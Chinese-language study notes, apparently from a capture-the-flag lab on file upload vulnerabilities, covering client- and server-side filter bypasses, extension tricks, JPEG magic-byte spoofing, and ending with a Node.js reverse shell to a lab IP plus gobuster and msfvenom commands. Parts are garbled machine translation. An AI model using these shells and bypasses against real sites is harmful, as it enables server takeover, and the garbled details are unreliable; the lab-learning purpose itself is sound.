bilibili:https://www.bilibili.com/video/BV1pP411G7Zb/
General Methodology
从这里查看文件目录与文件名,尝试使用相同文件名的文件上传,验证上传后的文件是否在这里。
Client-Side Filtering
法1:
我们可以看到过滤器正在使用一个白名单来排除任何不是 image/jpeg 的 MIME 类型。
让我们启动 Burpkit 并重新加载页面。我们将看到我们自己对站点的请求,但我们真正想看到的是服务器的响应,所以右键单击截获的数据,向下滚动到“ Do Intercept”,然后选择“ Response to this request”
当我们点击窗口顶部的“转发”按钮时,我们将看到服务器对我们的请求的响应。在这里,我们可以删除、注释掉 Javascript 函数,或者在它有机会加载之前中断它
默认情况下,Burpkit 不会拦截 Web 页面正在加载的任何外部 Javascript 文件。如果你需要编辑一个不在正在加载的主页面中的脚本,你需要到 BurpSuite 窗口顶部的“ Options”选项卡,然后在“ Intercept Client Request”部分,编辑第一行的条件,删除 ^ js $| :
法2:
让我们使用之前使用的反向 shell 并将其重命名为“ shell.jpg”。当 MIME 类型(基于文件扩展名)自动检查出来时,Client-Side 过滤器让我们的有效载荷通过
我们的 PHP shell 的 MIME 类型当前是 image/jpeg。我们将其更改为 text/x-php,并将文件扩展名从。JPG 到。然后将请求转发到服务器
Bypassing Server-Side Filtering
File Extensions
法1:
<?php
//Get the extension
$extension = pathinfo($_FILES["fileToUpload"]["name"])["extension"];
//Check the extension against the blacklist -- .php and .phtml
switch($extension){
case "php":
case "phtml":
case NULL:
$uploadFail = True;
break;
default:
$uploadFail = False;
}
?>
在此实例中,代码正在查找最后一个句点(.)在文件名中,并使用它来确认扩展名,所以这就是我们在这里要尝试绕过的。代码的其他工作方式包括: 搜索文件名中的第一个句点,或者在每个句点分割文件名,检查是否有任何被列入黑名单的扩展名出现。我们稍后将讨论后一种情况,但与此同时,让我们专注于我们在这里得到的代码。
我们可以看到代码正在过滤掉。Php 和。Phtml 扩展,所以如果我们想要上传一个 PHP 脚本,我们将不得不找到另一个扩展。PHP 的维基百科页面提供了一些常见的扩展,我们可以尝试使用; 然而,实际上还有很多其他很少使用的扩展,尽管如此,网络服务器仍然可以识别出来。这些措施包括:。Php3,.Php4,.Php5,.Php7,.Phps.Php-s.Pht 和。法尔。其中许多都绕过了过滤器(只有 locks.php 和。Phtml) ,但似乎服务器配置为不将它们识别为 PHP 文件
这实际上是 Apache2服务器的默认配置; 但是,sysadmin 可能已经更改了默认配置(或者服务器可能已经过期) ,因此非常值得尝试
法2:
ACCEPT FILE FROM THE USER -- SAVE FILENAME IN VARIABLE userInput
IF STRING ".jpg" IS IN VARIABLE userInput:
SAVE THE FILE
ELSE:
RETURN ERROR MESSAGE
我们看到代码使用 pathinfo () PHP 函数来获取[.]后面的值,并进行判断,以此我们可以将文件拓展名改为.jpg.php来绕过过滤。
Magic Numbers
我们知道 JPEG 文件是可以接受的,所以让我们尝试将 JPEG 魔术数字添加到 shell.php 文件的顶部。快速浏览一下 Wikipedia 上的文件签名列表,我们就会发现 JPEG 文件有几个神奇的数字。我们在这里使用哪个应该无关紧要,所以让我们只选择一个(FF D8 FF DB)。我们可以直接把这些数字的 ASCII 表示添加到文件的顶部,但是直接使用十六进制表示通常更容易,所以让我们来讨论一下这个方法。
我们可以看到我们选择的神奇数字是四个字节长,所以让我们打开反向 shell 脚本,在第一行添加四个随机字符。这些字符并不重要,所以在这个例子中我们只用了四个“ A”,我们用hexitor将开头的4个41改为FFDBFFDB即可
gobuster dir -u http://magic.uploadvulns.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
challenge time
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.10.135.242", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
gobuster dir -u http://jewel.uploadvulns.thm/content -w /root/UploadVulnsWordlist.txt -x jpg
msfvenom -p nodejs/shell_reverse_tcp LHOST=tun0 LPORT=4455 -o shell.js